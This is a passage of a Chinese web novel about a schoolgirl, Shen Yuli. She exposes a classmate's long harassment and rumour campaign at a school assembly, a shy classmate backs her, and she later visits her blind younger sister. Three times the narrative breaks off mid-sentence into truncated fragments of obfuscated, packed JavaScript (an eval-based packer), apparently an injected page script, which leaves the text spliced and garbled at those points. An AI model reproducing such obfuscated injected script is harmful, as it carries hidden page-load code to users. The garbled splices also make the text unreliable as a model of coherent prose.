宋未海满脸通红地扶额:“……宋无霜你闭嘴。” 宋礼在前面看热闹不嫌事大:“真的假的?” 宋未海现在就想开窗跳车:“你听她瞎说。” 说完又转向沈余离:“那个我没有……” 沈余离一本正经地点点头:“嗯嗯。” 宋未海:“……”你看起来不是很真诚。 宋未海整理了一下心情,正襟危坐地坐着,一脸视死如归地看着沈余离,一字一顿道:“沈余离同学。” 沈余离觉得这人怪好玩儿的,学着他的样子转过身去,也端端正正地坐好:“嗳。” “我没有……”宋未海快要变成一颗熟透的桃子,心里那点事儿下一秒就要像汁水一样迸溅而出了,“那种想法。” 沈余离有点想笑,但她忍住了:“好的。” 宋未海继续严肃道:“我不会像赵志云那样。” 沈余离认可地点了点头:“知道的。” 宋未海表面很镇定,内心很崩溃:“我妹满嘴跑火车,你不要听她瞎说,她单身久了看谁都像一对儿。” 沈余离第一次见宋未海说出这样的话,没忍住噗嗤一声笑出来:“嗯好。” 前面的宋无霜先破防了:“喂!” “反正——”宋未海深深地吸了一口气,虽然那口气像耗尽了他此生最后一点力气,“——就是,没有。” 沈余离不和宋无霜联手起来逗他了,她转回身,点了点头。 前面兄妹俩还在拌嘴,她看见后只是笑了笑,重新靠回靠背。 刚被宋未海摇下来的车窗还没关上,冷风铺天盖地地灌进来,朦胧缤纷的色块呼啸着疾驰而过,沈余离无意瞥见窗外的浮光掠影,一时间觉得有些恍惚。 春风和煦的校园里她感受不到温暖,朝夕居住的屋舍中她无法萌生依恋,但就是此时此刻,在这一条车水马龙的大道上,车灯排排亮起,顺着前方的十字路口,从街尾流淌到了四方尽头,像是清晰分明的神经脉络,接轨起天空与人间的生命。 她看着前面光点遍布,对这个世界冰冷的感知突然被开了一道小小的岔口,像是擦开柴火的瞬间,火苗的温度烫了肌肤,眼前灯火的温度,顺着那个分叉点,渗透进她的心底。 指尖滚烫的温度只留了一秒就被吞没于风雪,但是余温却像是上涨的潮水,温和地漫过全身。 她曾经为自己竖起的棱角仿佛感受到热度,坚硬的冰壳开始融化,颤抖着汇聚成一滴水珠,砸落在她的心尖。 旁边的宋未海见她不说话了,以为是自己又说错了哪句话,笨拙地补充道:“当然我觉得你是一个非常优秀的同学,刚才的否认不代表你不好,真的!” “我知道。”沈余离有些哭笑不得,“我相信你。” . 宋未海从被亲妹坑了一把开始就坐如针毡,所幸他并没有坐如针毡太久,沈余离家没多远,宋礼直接开车开到了单元楼楼下,沈余离冲一家三口道了谢,开门就准备下车,宋未海已经自然而然地跟着她准备下车。 “……”沈余离已经下了车,她一手扶着车门,弯下腰看他,顺理成章地问出一句,“你打算跟我一起回家?” 前面宋无霜毫不留情地笑出声。 这一笑差点让宋未海要跳起来,他矢口否认:“不不不,那个把你送上去,晚上要送同行的女女女同学进家门才行——我我爸教的。” 宋礼其实没说过这话,不过他没当面拆亲儿子的台,就只是笑着看向在门口的两人。 相比之下,宋无霜就显得无情多了:“姐姐,他前十七年和亲妈老师以外的女性社交经验为0——其实男性也没有。” 宋未海看了一眼前座的宋无霜,几乎没有犹豫道:“现在……有了。” 下一秒,他跟着沈余离一起走了出去。 沈余离看着那张脸突然凑近,下意识地往后退了一步,下一刻,宋未海走出来,关上车门,二人的发丝翻涌在风中,宋未海看向她,鼻尖和耳根有点红:“走吧。” 风飙得沈余离微微眯眼,宋未海的身影此刻在她看来有些模糊,但她还是由衷地笑了下,淡然道:“嗯,回去了。” 沈余离家的小区是那种老式的小区,浓重的油漆刷在铁栅栏上,门把手还是几十年前那种旋钮式的开关,一拧就发出哗啦巨响,沈余离拉开大门,宋未海在她身后替她扶了一下,二人前后脚踏进楼道。 楼道用的是声控灯,沈余离家住五楼,她用力跺了两下脚,楼道的灯泡次啦闪动,灯光亮起,漆黑的楼道中划开一小方明亮的空间,包裹住二人。 沈余离和宋未海半边浸在黑影里,半边映着橘黄的柔光,空间狭窄,两人隔得并不远,甚至连影子都融在一块儿,起伏的气息声在空旷楼道中异常清晰旷远,还有隐约回声。 宋未海突然轻声开口:“那个……” 沈余离抬眸:“嗯?” “你……”他动作有些僵硬,右手非常快速地动了一下,“你手受伤了。” 沈余离顺势抬起手,手臂上有几道并不明显的红痕,大概是被那个男人抓出来的:“哦,打个狂犬疫苗就成,不碍事儿。” “啊、啊,好。”宋未海脑子里已经乱成了线团,说起话来已经前言不搭后语,“你还需要我帮忙吗?” 沈余离退后一步,微微一笑:“不用了,谢谢。” “那……”宋未海把双手背在身后,手紧紧地绞在一起,“再见。” 沈余离点点头,转身把钥匙插/进锁孔,哗啦一声,她拉开防盗门。 宋未海就站在她背后,看着她走进家门。 沈余离将门拉得半开,正要走进去的时候,突然冷不防地刹住了步子。 她转过头,原本就偏浅的瞳色和发色因为电灯的投射更加灿烂澄明,墨绿色大门的面前,是昏黄灯光下的女孩儿,连同轮廓都落下一圈温柔的光晕,就像上世纪时期,被投递进绿色邮筒的邮票,上面的油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不你俩到底在楼上干嘛了。”宋无霜仰头看着他,“表白了没?牵手了没?亲……不行你要进度这么快我会觉得你是个流氓然后帮她揍你一顿。” “她……”宋未海一想到刚才,耳朵又红了起来。 他话音未落,宋礼和宋无霜一齐看过来。 在万众瞩目之下,宋未海同学闭起眼,深呼吸一口气,收拾好自己的心情,双手交叠在膝盖上,然后缓缓睁开,掷地有声道:“——她和我说了晚安。” 宋礼长舒一口气:“……”哎呦我以为啥事儿呢差点连手铐都拿出来给你铐上了。 宋无霜冷漠地吐出三个字:“你有病。” “哎不过。”宋礼像是想起什么,转过头看着宋未海,“这小姑娘后来在你们学校怎么样,还被那男孩子欺负不?” 宋未海愣了下,刚想回答,口袋里的手机就响了一下,他拿起来扫了一眼,是自己的同桌在班级群里发的消息:快看校园墙!! 宋未海其实不爱关注这些,但那一刻,他本能地觉得这些和沈余离有关,鬼使神差地刷新朋友圈,下一秒,他就看到校园墙的帖子弹了出来,照片小图里,是沈余离的头像。 宋未海点开,一行字赫然列在眼前。 【既然这么喜欢用校园墙而不是脑子来审判,那就请各位,睁大眼睛看看清楚。】 他垂眸,盯着屏幕看了一会儿,然后放下手机,把自己的校服外套扯了上去。 就在小臂的一侧,和沈余离一模一样的地方—— ——那上面,赫然显露出三条抓痕。 11. 睚眦必报|一 . 沈余离证明的方式非常干脆利落,她直接甩上了录音文件和亲子鉴定书的截图,那张快包浆的截图又被沈余离拉来鞭尸了一遍,她不稀罕花时间来打一堆跟公关似的文案,只在证据最后留下一句话: 大家自行定夺,不与傻子论长短。 另一边,沈余离刚投完校园墙,手机里就弹出来英语老师的消息,特意来告知她英语学科竞赛获奖的事儿,让她提前准备好获奖感言,下周五年级大会的时候会用到。 沈余离的脸上没表达出太多对于获奖的喜悦,只回了一句谢谢老师,随即搁了手机,她甚至懒得点开那张获奖证书,更懒得关注校园墙下的评论是怎样的,扔下书包,径直走进自己的房间。 这是一间老房子,房产过户在她妈妈的名下,但自从几年前母亲带着妹妹改嫁,这个家就只留下了沈余离一个人,家里没开灯,沈余离有时候为了节省电费,在不需要写作业的时候一般不会开大灯,仅凭借着桌角的台灯来照明。 在她旋开旋钮的瞬间,原本漆黑的卧室被灯光划分出一小块空间,沈余离的影子被投射在天花板上,墙壁上黑影跃动,她就这么站在桌前,小半张脸照映上橙色的光辉,深吸了一口气。 刚刚所有事情都发生的太快,以至于她自己都没有反应过来,灯泡在头顶次啦频闪,脱落发硬的油漆边沿扎着她的手心,黑暗与明黄把她目之所及的地方割裂成两种色调,一面晦暗得将所有物体都杂糅进黑色里,另一面澄亮得让整个楼道都融合进光晕中,有一道熟悉的声音穿越呼啸的时空在她耳边响起,那一刻她的眼睛是被镀了膜的镜头,线条清晰的世界被赋予了朦胧的勾线与色彩,这一切发生得太快了,速度快到像一场经过延时技术处理的梦境,她鬼使神差地说了晚安,然后关起门,咔哒落锁的声响是按下快门的瞬间,一切光怪陆离在那一刻砰地并作一条直线,她打开手机,发布了之前收集的证据,再关掉时,沈余离突然感觉之前那么跌宕起伏的一切,在彼时画了一个有些潦草的句点。 这时还没到睡觉时间,楼下的各种小吃店这会儿还生意兴隆,哄闹声和吆喝声隐约传来,但沈余离却觉得它们离自己很遥远,就像另一个被玻璃罩子隔开的世界,她的房间里很安静,就连衣服布料摩挲的声音都清晰可闻。 房间室温不高,窗户还开着,冷风飕飕地就钻了进来,南方的冬天并非干冷,更像是冷水渗进了骨头里,潮湿刺人的凉意由内而外地蔓延,沈余离下意识地打了个寒颤,她抬眸,走过去关了窗,而后脱掉校服外套,去浴室里放水洗澡。 当热水打在手背上,原本被冻得刺痛的皮肤终于恢复知觉时,她才终于被这种温热的触感拉回现实,等她回神,沈余离才后知后觉地发现,自己的身体,貌似产生了一些细微的变化。 她盯着源源不断的水流,面容沉静,呼吸起伏也平稳如常,但就在这样沉寂到极致的环境中,沈余离却莫名觉得,自己的胸腔中,迸发出了一种陌生的感觉—— 是令她感到异样的心跳。 ——一种她本能地觉得,不属于她、但搏动得异常激烈的心跳。 . 赵志云被行政拘留五天,连着两天周末,周三就回校了,一开始他和李燕萍都很警惕,生怕宋未海和沈余离乱讲什么话,但沈余离只觉得可笑,平时把造谣传谣这事儿干得津津有味的人,当他真的被迫换置到对面的立场上,同时把道德绑架发挥到了极致,借着李燕萍的口对沈余离软硬皆施威逼利诱,反正字字句句里都透露着一个颇为讽刺的目的:要她闭嘴。 暂且如二人所愿,沈余离确实什么都没说,宋未海更是不会去主动惹麻烦,他们两个像什么都没发生过一样,重新回归了校园生活,因为这事儿,周四晚上林桉还在寝室里替沈余离抱不平,小姑娘也不管隔壁有耳不有耳了,拉开椅子哐当一声踩上去,找她的话说,隔壁有人听到了传出去正好,最好一字不落地传到赵志云耳朵里,让他知道,她骂的就是他: “我操,我的姐,你就这么算了?!你这格局真大得不是一星半点儿啊,那傻逼骚扰了你一年半,你特么就这么放过他了?!你要冒圣光了你知道吗沈余离?!” 按照以往的套路,沈余离这会儿应该低头抿嘴一笑,然后温温柔柔地说没关系的、都过去了、我会更坚强的云云,但沈余离同学没有,她一手按在脖子上活动了下关节,样子看上去有点像要去干架,淡淡道:“没那格局。” “你还在谦虚?!”林桉以为这是她的委婉说辞,快要崩溃了,“我乳腺要结节了啊,姐!!” “……”沈余离扫了一眼异常亢奋的林桉,又看了一眼躲在角落里瑟瑟发抖但是努力应援林桉的缘故,心中莫名一软,口气放缓了点道,“我没谦虚,这事儿没完,不会让你乳腺结节的。” 林桉一顿,随即凑过去确认道:“……真的?” 沈余离一笑:“这四天的时间已经是我忍耐的极限了。” . 周五。 蓬山三中的年级大会一般安排在一周的最末,占用早自习结束后的大课间,是所有学生最昏昏欲睡的时候,比方说等会儿就要上去发言的沈余离同学,一点儿都不见紧张,倒是拿着两张纸站在原地,头埋得很低,一动不动的。 有些人虽然站着,但其实已经睡着了有一会儿了。 林桉就站在沈余离旁边,见她睡得快倒下去了,赶紧戳了戳她:“哎,小鱼,要到你了。” 沈余离从睡梦中抬头,打了个哈欠,有些迷糊地应了一声:“啊。” “……我服了你了。”林桉哭笑不得,但很快又看到她夹在手里的纸,有些惊讶,“我去,你稿子不用再读读么?” “嗯?”沈余离像是终于回了点神,懒散道,“我没写。” “……”林桉沉默三秒,然后源自肺腑地提出疑问,“……你现场发挥啊?” “没那个水准。”沈余离睁开惺忪睡眼,看向乌泱泱的人群,意味不明道,“不讲获奖感言,讲点儿别的。” 她话音刚落,就听见台上的主持人点了她的名:“在今年暑假里,三中学子们在晋江杯英语竞赛中奋力拼搏,并取得了优异成绩,接下来,有请高二四班的沈余离同学上台,发表自己的获奖感言。” 这个名字一出来,就像火被点燃了的药线,整个操场立马噼里啪啦地炸开了,哗的一声,在没有任何人发出号令的情况下,整个操场齐刷刷地转过头来看着沈余离,那些目光并没有像快刀一样一击毙命的狠戾与速度,却像寒冬里的冰晶,带着并不致死的刺痛感,一块一块地凝结在她的身上。 但沈余离没有任何变化,甚至连下意识地瑟缩都没有,在一众不可言明的注目中,她显得无比镇定,明明从这个姑娘的外形上看不到一星半点儿的攻击性,但她身上似乎就有那么一层坚硬的外壳,能将那些目光都平静而决绝地隔绝在外。 她穿过人群走上升旗台,没有任何一秒的犹豫,沈余离这会儿已经彻底醒了,接过主持人递来的话筒,轻拍了两下,在确保话筒音效无误后,沈余离看着台下的无数学生,缓缓开口: “大家好,我是高二四班的沈余离。” “能有这么一个上台发言的机会。”少女语气平稳、咬字清晰,每一句像湖面一样平静的话语中,都透露着一种不动声色的锋芒,“感谢校方,也感谢我自己。” 前半句是礼貌,后半句是真心。 “说话之前还要特别感谢一下,主要是,我觉得对我而言,有些话放到这会儿来说,才能确保每一个人都能听得清清楚楚。”沈余离看着台下,她的眼神中没有蔑视或自傲,只是波澜不惊地扫视过每一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“以及,”沈余离微微扬起下巴,曾经眼中藏匿的冷冽在此刻展露无遗,她居高临下地看向赵志云,拿出录音笔,把它的播放口凑近话筒,一字一句,都铿锵有力,“赵志云同学对我的语言暴力绝非小打小闹,长时间的孤立和骚扰已经对我造成了严重的影响,我认为,这已经构成了校园霸凌。” 男生的辱骂再一次通过话筒传播给全世界,沈余离这次就站在流言汹涌的最中央,尽管每一次录音的再放,她需要迎接的是更加猛烈的狂风暴雨,但沈余离这次没有退后一步,她就这样淡定、冷漠地看着它咆哮而来,带着摧毁她的气势迎头鞭下,把沈余离浇得浑身湿透,但等海浪消失之时,沈余离依然站在那里,眼神中是更加不可撼动的坚毅。 已经不会再有任何窒息和难受的感觉包裹她了,沈余离欣赏着赵志云渐渐扭曲的表情,只剩把他踩进泥泞里的快意。 “今天站在这里,就算冒着吃处分的风险我都要说,是因为——”沈余离收回录音笔,道,“我不接受任何冷处理,也不接受任何调解,那些引起祸端的人,必须面对着和我这一年半等价的处罚,至于在座的另一部分同学,我想你们既然有耐心花一年半来传播和听信我的谣言,那必定也有这十几分钟的耐心来听我的澄清。” “……等、等一下!”全场寂静中,周一凡突然扯着嗓子冲沈余离吼,“如果你不去夜店,根本不会被拍到,也不会有谣言吧?!你去那里本来就不正常,被误解不也是你活该吗?” 真是条忠诚的狗。沈余离看向周一凡,讥讽地勾起嘴角,然后直视着对方不甘的目光,冰冷一笑。 “我的证据已经可以证明我的一切结论,对于你无端恶意地揣测,我没有义务和必要进行无底洞的自证,受害者不需要在每一个细节完美才算受害者,当施暴行为的证据摆在这里,他的错误就已经成立。”沈余离的身上已经看不出任何柔软温和的影子,她话语中的尖刀蛰伏许久,在此刻终于尽数外显,回捅向每一个妄图伤害她的人,“我要求一个明确且有力的解决措施,我不会宽恕任何敷衍的说辞与道歉,这就是我的获奖感言,谢谢各位。” 12. 睚眦必报|二 . 红塑胶跑道上树影斑驳,强劲的冷风穿堂而过,鲜红的红旗在头顶飞扬,沈余离微微抬首,感受着太阳刺眼的光道占据她的视野,台下的同学在那一刻都被模糊,她的头发和衣摆被吹得乱舞,队列里的学生也开始交头接耳,交流声滚雪球般越滚越大,老师疾步上前维持秩序,升旗台旁的教导主任背着手,转头看向沈余离,示意旁边的几个人先把她带下去,下一秒,沈余离感觉有人不轻不重地扯住了自己的胳膊,她却没有任对方拉拽。 一片混乱中,她站得笔挺,眼神沉静而坚定,视线平缓地横扫过操场,耳边大风咆哮,气势如虹地压过那些窃窃私语。 教导主任见她纹丝不动,有些急了,压低声音,严厉地催促她:“沈余离!” 沈余离听见这话,表情上没有任何的变化起伏,她的状态就像在面对一件最稀松平常的琐事,眼神中唯一一次微妙的变化,在她下台之前,往下方不经意间地一瞥—— 人群哄闹骚动中,宋未海仍然一言不发地站定在那里。 对视的那一眼,很多场景加成倍速在沈余离脑海中过了一遍,那一刻就像是旷远山野中,无数马匹奔腾着飞驰,马蹄勾得草原哗然作响,旁边有烧烤架次啦迸火的声音和牧民用当地语言相互交谈的声音,盘山公路上汽车的鸣笛声一路盘旋上升,但就是在这样的时刻,在天地万物声音都汇聚在一起的时刻,她看见一条溪流,它自冰山山顶蜿蜒而下,匍匐于大山的脚底,在山崖与天空的笼罩下,它渺小而明净,静谧却不息。 手臂上的力道加重,实感让她被迫抽回思绪,回神的那一刻,橙色的金光轮转于他们二人之间,宋未海这次没有躲闪她的目光,他看着她,温和地弯下眉眼。 . “沈余离!”李燕萍一副兴师问罪的样子抓住她,责骂道,“你真的太乱来了!你——” “哎李老师。”在她骂出口前,教导主任先拍了拍她的肩,“这事儿你先别管了,教务处会向相关同学询问具体情况的。” 李燕萍眉一拧,下意识地就要反驳,但是见教导主任的眼神中带了点儿严肃,又想起刚刚沈余离的话,她还是先收了声,先行离开了。 “沈余离同学。”教导主任拍了拍她的肩膀,平和道,“咱们边走边说。” 沈余离依言跟了上去,道:“主任,刚刚在台上说的,就是所有我想说的话。” “啊,我知道了,但还是想了解一些情况。”教导主任呵呵笑着,“我支持你勇敢维护自己的权益,当然我们学校也绝对反对校园霸凌这种事情,不过沈同学,下次还是希望你能注意一下场合。” 沈余离点点头:“嗯,我知道了。” “当然,你也放心。”教导主任继续道,“这件事,我校绝对会重视。” 沈余离这时候才露出一个淡淡的微笑:“谢谢主任。” 早操结束后,教务处决定先不耽误相关同学上课,直到中午午休才把他们一并叫过来,沈余离刚走到楼梯口,就听到赵志云的大声申冤:“我道歉真的是压力所迫,其实我没有!老师!我真的——她冤枉我!” 证据确凿,结果他还在力挽狂澜,沈余离听后只觉得想笑,她面色如常地推开门,里面的赵志云见到她,立刻背对着教导主任狠狠瞪了她一眼。 沈余离没说话,但是赵志云显得很焦灼,连珠炮弹似地不断输出:“现在科技那么发达,她伪造鉴定书或者剪辑录音都完全可以,而且就算找她爸,她为什么要去夜店?谁家父女在夜店见面?这合理吗?万一他们两个就是把父女关系当挡箭牌然后——” “赵志云同学!”教导主任厉声喝止,“你还不长教训吗?适可而止!” “老师,她冤枉我我还不能说了吗?”赵志云急得脸色涨红,哭腔都要逼出来了,“她今天弄成这样,我被泼了一身脏水不说,这个是永远洗不干净的啊!就算澄清了,以后还是会有人说我,我在学校里还过得下去吗?” “原来你也知道,这个脏水一旦泼出去,就算自证的证据板上钉钉,受害者的名声也永远洗不干净了啊。”相比之下,沈余离就显得冷静异常,她看着赵志云那副张牙舞爪的样子,淡淡道,“既然这样,为什么一开始要把脏水泼我的身上呢?” “……照片都拍下来了!”赵志云急道,“有证据的事情,怎么算泼脏水?!况且我没有任何主观言论的发表,你敢做不敢当,阐述事实都不可以吗?!” “照你这个说法——”沈余离一记回旋镖干脆利落地打了回去,“现在科技这么发达,你p图也完全可以啊?” “……”教导主任喝止道,“——好了!你们两个先安静一下,冷静下来一个一个说,不要全凭意气用事,当然说出来的话要负责,我也会找其他同学去询问的。” “老师!我很冷静!之前李老师找过我们班的同学,他们都说我没有这类行为!”赵志云扯着嗓子喊,然后立马指向沈余离,“因为她真的干了那些事儿,所以大家都看不惯,只不过沈余离同学会动手打人,大家才不敢站出来的,这也是为什么这次的事情,没有人替她出来说话!” 沈余离听到这话,稍稍挑了挑眉,她突然想起那天在警察局里,赵志云的父母衣冠楚楚地站在警察局门口、高高在上地瞥了她一眼,说这个姑娘没有父母,翻腾不出太大的水花,不碍事儿。 那句话一出,沈余离猝不及防地感觉心脏被扎了一下,像屋檐上冰锥断裂,自高空直坠而下,砸在地上的时候迸裂成无数块碎片,但又很快融化成一滩冷水,行人步履匆匆纷至沓来,在它还没有感受到太阳的温度前,已经被踩得满是泥泞。 如今相同的话再次直直地袭击她,在那一刹那,沈余离心中突然浮现出了某个模糊熟悉的身影,但她又很快用理智将其打散,灭掉所有情绪的势头,只是等待着教导主任的答复。 教导主任凌厉的眼神扫过去,可赵志云像是完全没感受到似的,眼底猩红地看向沈余离,压低声音,一字一句,都凶狠得像要把她捅个对穿:“沈余离,没有任何一个人,会站在你这边。” “——有的。” 在男生声嘶力竭的辩驳中,有一道平静的声音,穿透了教务处的门板。 沈余离转头,看到宋未海走了进来,她微微睁大双眸。 对峙、僵持、被猝然推开的门,和那天办公室里的猝不及防地重合,只不过这一次,他捧起了她心中的微火。 宋未海走到沈余离面前,站定,看着赵志云,道:“我站在她这边。” 赵志云看着来人,眼神中有一瞬惊诧,但很快咬牙道:“又是你——” “老师,我是过来作证的。”宋未海看着教导主任,声音很轻、语速很缓,但一字一句,都无比清晰,“他确实有那些行为,但是我之前因为顾及……波及到自己,所以没有及时站出来,抱歉。” “……以及堵人确有其事。”宋未海停顿须臾,又重重吐出一口气,道,“那天请李老师过来调解了,正巧负责那片辖区的民警是我爸爸,警察局会有记录的,只不过可能两位老师没有上报年级组。” “……”相比赵志云全靠怒吼的辩词,言之凿凿、手握证据的宋未海和沈余离明显更令人信服,教导主任扫了眼赵志云,然后向沈余离投去目光,“沈同学,你想怎么处理这件事。” “我要求白榜、处分、记入档案。”沈余离没有丝毫的妥协让步,态度仍然冰冷强硬,“我绝不接受冷处理,老师。” “……你别太过分了!我都在全校面前跟你道歉了,你澄清也澄清了,还要怎么样?”赵志云听到记入档案脸色一白,一脸不可置信地转向沈余离,“就说几句话而已,你要求计入档案,太得寸进尺了,我又没有造成实质性伤害,算个狗——鬼的校园霸凌?” 沈余离直视平静地与主任,没有回他的话。 赵志云一见自己被无视,更加着急了:“你倒是说话啊?!” 沈余离漠然道:“我没有义务做普法教育。” “好了,我知道大概情况了,沈余离和宋未海,你们两个先回去上课吧。”教导主任有些头疼地摘下眼镜,捏了捏鼻根,“剩下的事情我会处理。” 二人点头,说了句主任再见后就转身离开,合上门,沈余离感受到身边的人终于松了口气。 她转头,才发现宋未海自始至终紧紧攥着拳头,五指掐进手心,正在轻轻颤抖。 “……不好意思啊。”宋未海察觉到沈余离在盯着他的手看,将手背到身后,有些难为情地低下头,“刚刚想都没想就冲进去了,结果被教导主任一盯就感觉太紧张了。” 沈余离被他逗笑了:“没事,谢谢你。” “啊啊真的。”宋未海觉得自己怎么每次都在暗恋对象面前丢人,表面看起来还能勉强维持镇定,但内心已经快崩溃了,“什么忙都没帮上,还抖成这个样子,真的太抱歉了。” 沈余离认真地看着他,摇了摇头:“不用道歉。” 宋未海扶着额头,耳尖飞红,欲哭无泪道:“好丢人。” 沈余离立即毫不犹豫地接上:“很勇敢。” “快别这么夸我了。”宋未海已经能听到自己清晰分明的心跳声了,它们如同鼓点般击向嗓子眼,原本清晰的思绪被抹成一片空白,当下的情绪成为了最原始最本真的驱动力,具化成一条条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以在沈余离夸他的时候,他只觉得羞愧难当,他不如他利落坚定,也配不上这样的夸赞。 可沈余离却只是无所谓地耸了耸肩,随性道:“不重要啊。” 宋未海的声音越来越小:“可是……你不知道我心里是怎么想的……我——” 如果她知道自己竟然不受控地感到后悔时,她还会这样果断地进行这样的评价吗? 宋未海觉得歉疚、觉得心虚、他努力地克制住心底的那点儿情绪起伏,不敢再继续想下去了。 “可你从未参与那些揣测是事实,你站出来帮我也是事实。”沈余离平视前方,淡淡地笑道,“它很直接地摆在我面前,我看见了,不需要其他任何的东西去辅证了,所以你说的那些,对我而言,都不重要。” 她话音落下,走到楼梯口,扬手挥了挥:“拜拜。” “啊、啊。”宋未海听到她的声音,思绪被火速抽回现实,慌忙道,“再见沈同学。” 沈余离在告别宋未海之后,回到自己的班级,待她重新出现在教室门口时,教室里的同学再次像商量好了一般,唰地一声抬头看她。 那样上下打量的、带着怀疑的目光,那样不带善意的突然寂静,那样欲言又止的神情,那样细微却像在人心上抓痒的窃窃私语,就和谣言开始散播的那一天一模一样,几个月过去,事情看起来尘埃落定,那些视线却犹如长鞭一般,再次落在她的身上,那感觉像把她架在温水里缓缓地煮,水还没有沸腾到能让人立马毙命的程度,但火焰的热度却透过铁锅,长久不息地炙烤着她,悄无声息地阻断她的氧气,却又不干脆果决地结束她的痛苦,带着一种最温和的残忍,旁观着她窒息的全部过程。 没有改变。 这样的眼神、这样的场景,并为因为谣言的颠覆而被改变,火只是被关小了,但温水仍然在阻止她获取氧气,底下的焰火,也仍然在静静地烧。 他们可以继续用这样的目光无所顾忌地鞭笞她,可以继续用言语为她带上无形的镣铐,甚至可以伪造一张按着指印的罪状,贴在她的身上,他们的臆断是这场法庭上当堂递交的证据,他们的言语是这场审判中一锤定音的法槌,他们的凝视是对罪人的凌迟,他们的孤立是对正义的捍卫,从谣言滋生的那一刻开始,掌控生与死的不再是上帝,定义黑与白的不再是真相,世界的形状,由群众的心之所向下达最后的判决。 这里处处充斥着理所当然的不平等、充斥着无法定罪的隐形暴力,对于谣言的毁灭,其实是一场蜉蝣撼树的无声博弈。 从一开始,就从没有人和她保证过,自证与澄清,会是这场漫长酷刑的终结。 从一开始,这场酷刑,根本就没有终点。 13. 睚眦必报|三 . 幸运的是,学校教务处还算重视这件事情,对于这件事儿的解决并没有一拖再拖,在隔周的周五,赵志云的处理结果在全年级进行了公布。 学校给他贴了一张处分单、档案中计入一次大过、并且要求停学查看。 赵志云在结果出来的当天就被他父母接了回去,从头至尾,他都没来跟沈余离说过一句对不起,不过沈余离觉得事已至此,他那种惺惺作态的道歉,她也不需要了。 赵志云路过四班门口的时候,班里有不少同学控制不住地转头看向沈余离,包括坐在她前面的周一凡,但他这次没敢再一脸不屑地挑衅她,在沈余离撩起眼皮看向他的瞬间,周一凡眼神心虚地一闪,随即有些不甘地转了回去。 沈余离神色如常,她没有看赵志云,也没再回应班里任何一个人的目光,仿佛这个周五对她而言就是再普通不过的日子,如果非要说今天有什么特别的决定,那就是在这一切都尘埃落定之后,沈余离突然想去看看妹妹。 之前她觉得,未必需要跟妹妹说上话,就是这么远远地见一面也好,沈余离虽然情绪很少外显,但她的思念就像一条河流,绵长不歇地流淌着,静默安然地在她心底永存,但直到看见宋未海的那一天,直到她听见了他谈起关于妹妹的事情,沈余离突然觉得有一块石子被投进了这条规律运转的河流,涟漪在上面荡开,平静的水面,在那一刻被轻轻地拨动了。 心中那点儿电光石火的变化,就这么驱使着她来到了蓬山盲校。 学校不远,沈余离走着过去就可以,在她抵达的时候,正巧遇上放学的时间点,隔壁中学的铃声一响,人流像开闸的洪水一样猛地蜂拥而出,原本安静的街道骤然爆发出少年们的哄闹声,冷清的小商铺也重新热闹起来,蒸锅里再度升起白色的烟雾,热气腾腾地穿梭在规模猛增的人群之中,与此同时,一个小时前还算空旷的马路在很快被各辆私家车占得水泄不通,车辆尖锐的鸣笛声和学生轻快的欢笑声混杂在一起,如同油温上升时放入食材的瞬间,漫天撒花一般的,密集沸腾的油星子噼里啪啦地炸开,飞溅向四面八方。 她背后就是一个车水马龙的世界,可面前的学校却被罩了一层薄膜似的,在这般喧嚣中仍然不为所动,只有阳光折射在校门大字的棱角处,光芒耀眼滚烫,却也寂静无声。 这条马路像是不动声色地竖起了一道屏障,像一个人驻足在一场沸声盈天的演唱会中,震耳欲聋的音乐顺着音响击入耳膜,再共振到每个人狂跳的心脏上,可一旦穿越马路来到对面的学校,就像戴上了耳罩似的,再有震颤感的声波,也会被过滤成沉闷的低音。 蓬山盲校放学的时间要稍晚,这里是全寄宿制,但在晚饭之前仍有一段休息的时间,沈余离又等了二十分钟,这座沉默的建筑中才终于渗透出些许的朝气,出现在教学楼之外的孩子逐渐多了起来,银铃般的笑声渐渐在这座校园里升起,沈余离眯了眯眼,就算过去了那么多年,就算近十年的光阴已经足以改变一个人的面貌,但是当封尘许久的亲切与归属感打破时间的结界,随风飘零的往事在顷刻间重新凝聚成无数幅胶卷,在地下蠢蠢欲动的思念终于爆破了凄怆的荒原,在心中某种情感重焕生机的那一秒,独属于姐妹之间的超能力被唤醒,在不断移动的人流中,她几乎一眼就找到了沈祈生。 即便早已做了许多次心理准备,但当沈余离看到她的那一刻,心中还是不免一跳。 她自觉是一个无趣冷淡的人,因为她人生中的场景会重叠交叉着循环播放一万次,很久以前也是在一个寒潮将至的深秋,她蹲下身平视着那双天真无暇的眼睛,也没觉得当时的自己多么高尚无私,沈余离的想法自始至终都很简单,既然改变方向的扳手落到了她手中,那她会毫不犹豫地让妹妹走向更好的命运,仅此而已。 前十七年里,沈余离唯一爱的人只有沈祈生,她从来不觉得这是一个多么伟大的牺牲,她也从未想过用这件事要求任何人对她感恩戴德,任凭世人将爱描绘得如何繁花锦簇、峰回路转,沈余离表达爱的方式始终都没有那么华丽与深沉,她对沈祈生的爱,是一条没有任何遮挡的笔直大道,就算她们两个各自站在起点和终点,在她们面对着彼此的瞬间,清晰的爱意仍然能以最快的速度贯通大道,抵达彼此的心脏。 这份爱不需要礼物、不需要言语、甚至不需要一个眼神,沈祈生只要站在那里,她就能感受到沈余离的爱。 只不过当沈祈生彻底背对她离开的时候,沈余离的心中还是不受控制地抽痛了一下,那感觉迅速、微小、在电光石火之间,却依然将她的心按空了一块,沈余离的情感起伏平淡到让她一度以为自己完全不在意了,但就在她走到蓬山盲校的正门口时,心脏被猝不及防击中的那一秒钟,她才后知后觉地感受到,一块时间长到她自己都快要麻木的缺口,在这时,被完满地填补了。 